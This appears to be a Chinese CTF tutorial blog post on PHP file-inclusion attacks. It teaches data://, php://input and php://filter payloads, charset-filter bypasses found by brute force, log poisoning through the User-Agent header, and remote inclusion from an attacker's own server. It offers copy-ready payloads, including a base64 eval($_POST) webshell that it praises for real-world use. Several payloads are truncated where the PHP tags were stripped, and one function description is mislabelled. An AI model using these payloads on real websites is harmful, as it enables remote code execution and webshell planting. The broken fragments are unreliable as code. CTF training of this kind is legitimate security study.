识别文件包含:
在php语言当中,有四种文件包含的函数,分别是
include、require、include_once、require_once
PHP 读文件和代码执行的方式:分别由以下四种组成。
二话不说,先给大家献上干货,以下是CTF伪协议的常见用法,遇到直接自行复制使用即可
补充一下,第一点的如果找不到flag,那也别傻站着,换个命令,或者直接
第二点的PD9waHAgcGhwaW5mbygpPz4=base64形式的,如果这个不行,也别傻站着,换个命令,你不知道对面会过滤什么,唯有多尝试。
1.?file=data:text/plain,
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3.?file=php://input [POST DATA:]
4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
当然,为表诚意,以上是一些精华结论,下面才是正餐学习。
伪协议的学习:
伪协议,通常称作伪协议头或伪URL(如 javascript:
、mailto:
、tel:
、data:
等),其实是一种特殊的URI方案,用以执行非常规的操作或触发特定的行为
常见的伪协议:
(1)data://text/plain协议
此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入
使用方法:data://text/plain;base64,base64编码字符 如http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data://text/plain,字符 如http://127.0.0.1/cmd.php?file=data://text/plain,
这里还有一个比较有趣的知识点:
?filename=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
这里其实就是上传文件木马,之后直接连接蚁剑就可以拿到flag,这个就叫做 (data://伪协议传木马)
这也是一个精华,实战特好用!!!
(2)php:input协议
此协议需要allow_url_include为on,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
使用方法:php://input,然后post需要执行的数据 如http://127.0.0.1/cmd.php?file=php://input 然后在post中
(3)php://filter协议
在双off的情况下也可使用,读取文件并进行显示或写入
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
使用方法:php://filter/read=convert.base64-encode/resource=文件名(对文件进行base64编码并读取显示) 如
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
过滤器的学习
想要玩明白文件包含,过滤器你必须要懂
一条熟悉的语句:
php://filter/read=convert.base64-encode/resource=flag.php
//这其中convert.base64-encode 就是一种转换过滤器
过滤器分类:
以下内容参考PHP手册官方解释 PHP: 字符串过滤器 - Manual
1.转换过滤器(最最最常用,拿起小本本记住)
(1)convert.base64
用打败或说就是以base64的形式处理所有的数据流
比如:?file=php://filter/read=convert.base64-encode/resource=flag.php
其实就是使用data://text/plain伪协议拿到权限,再以base64形式读取数据流。
(2)convert.iconv.*
这个是个万金油,很多情况下基本都可以使用。
官方解释:在激活 iconv 的前提下可以使用 convert.iconv.*
压缩过滤器, 等同于用 iconv() 处理所有的流数据。 该过滤器不支持参数,但可使用输入/输出的编码名称,组成过滤器名称,比如 convert.iconv.
或 convert.iconv.
(两种写法的语义都相同)。
说人话:就是转换数据的字符集,
iconv("UTF-7", "UTF-16", $string)
就是把UTF-7数据转换为使用UTF-16读取
但是有时候安全狗过滤的比较严格,这里拿一道题目举例。
这里我只接复制上面payload,但是出现了do not hack!看出来对面有安全狗(常有的事,小场面)
看来是被过滤掉了,那就只能使用别的方法
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
这里参考了下大佬的手法:攻防世界 - (题目名称-文件包含)-CSDN博客
这句话你可以永远记住:如果你不知道对面过滤了什么,那就直接爆破,把所有可能都爆破一遍
直接把上面的字符集写进txt文件当作字典,使用集数炸弹模式,设置位置 1 和位置 2 使用的字典,都是同一个,就可以爆破出应该得到的payload,他不可能都过滤了,所以答案不只一种
payload:?filename=php://filter//convert.iconv.UTF-8.UCS-4*/resource=flag.php
字符串过滤器无非就是三种,因为
已自 PHP 7.3.0 起废弃,所以直接丢掉,不浪费大家时间
以下内容参考PHP手册官方解释 PHP: 字符串过滤器 - Manual
(1)
string.tolower
(自 PHP 5.0.0 起)使用此过滤器等同于用 strtolower()函数处理所有的流数据。
strtoupper
—将字符串转化为小写
(2)
string.rot13
(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)
使用该过滤器也就是用 str_rot13() 函数处理所有的流数据。
str_rot13—对字符串执行ROT13转换. ROT13编码简单地使用字母表中后面第13个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串。
接下来拿一道题举例:
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "".$content);
}else{
highlight_file(__FILE__);
}
wp:
?file=php://filter/write=string.rot13/resource=1.php #url编码两次
POST: #ROT13编码一次
//1.php为一句话木马文件
(3)string.toupper ¶(PHP 4, PHP 5, PHP 7, PHP 8) ¶
使用此过滤器等同于用 strtoupper() 函数处理所有的流数据。
strtoupper(string $string
): string
将 string
中所有 ASCII 字母字符转换为大写并返回。
"a"
(0x61)到 "z"
(0x7a)范围内的字节会通过将每个字节值减 32 转为相应的大写字母。
3.压缩过滤器
虽然 压缩封装协议 提供了在本地文件系统中创建 gzip 和 bz2 兼容文件的方法,但不代表可以在网络的流中提供通用压缩的意思,也不代表可以将一个非压缩的流转换成一个压缩流。对此,压缩过滤器可以在任何时候应用于任何流资源。
例如:
?file=compress.zlib://flag.php就是对flag.php进行zlib压缩处理,然后读取文本信息
4.加密过滤器(已自 PHP 7.1.0 起废弃。强烈建议不要使用本特性。)
那么,如果伪协议也被过滤了怎么办?
那就得开始学习文件日志包含
举个例子:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
首先,通过 GET 请求中的 "?file=/var/log/nginx/access.log" 参数指定要包含的日志文件路径。然后,程序会读取该日志文件,并将其中的 User-Agent 字段内容输出到页面上。
由于该程序没有对用户输入进行过滤和验证,因此攻击者可以在 User-Agent 字段中插入恶意代码,比如POST "", 这样的代码会以系统命令的形式执行 "ls" 命令,并将结果输出到页面上,同时还可以执行=system('tac flag.*');?>之类的
还有一种方法:
外部文件包含漏洞(Remote File Inclusion)是一种常见的安全漏洞
如果你有一台自己的服务器
直接?file=http://服务器/服务器文件,接着在你服务器上的这个文件写下你所要执行的命令,比如
=system('tac flag.*');?>之类的,就可以直接拿到flag
如果你坚持看到这里,并且基本掌握了这些知识,那么恭喜你,已经走出了文件包含的新手村,
可以自行往更深的地方自行学习,愿大家玩的开心!
最后的最后,别忘了收藏精华结论!!!
1.?file=data:text/plain,
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3.?file=php://input [POST DATA:]
4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
这里拿一道题目演示成果:
?file=data:text/plain,直接丢进去,就出现phpinfo,如果ctrl+f查找flag,发现没有,那也别傻站着,换个命令。
最后直接直接拿下
以上只是基本思路,因为看题目它过滤了php://,也就是用不了php:input协议那就换成data://text/plain协议,或者直接干脆点,直接用PHP:// 也可以啊,它只是过滤了小写而已,我换成大写也一样可以使用这个协议。如果过滤的很严格,那就可以尝试下文件日志包含,以上只是提供了基本解题思路,如果你第一种方法失效了,就说明被过滤了,后面还有很多方法,别愣着,如果不知道对面过滤了什么,那就一个一个尝试。
最后的最后,真诚的希望这篇文章能够帮助大家,有缘江湖相见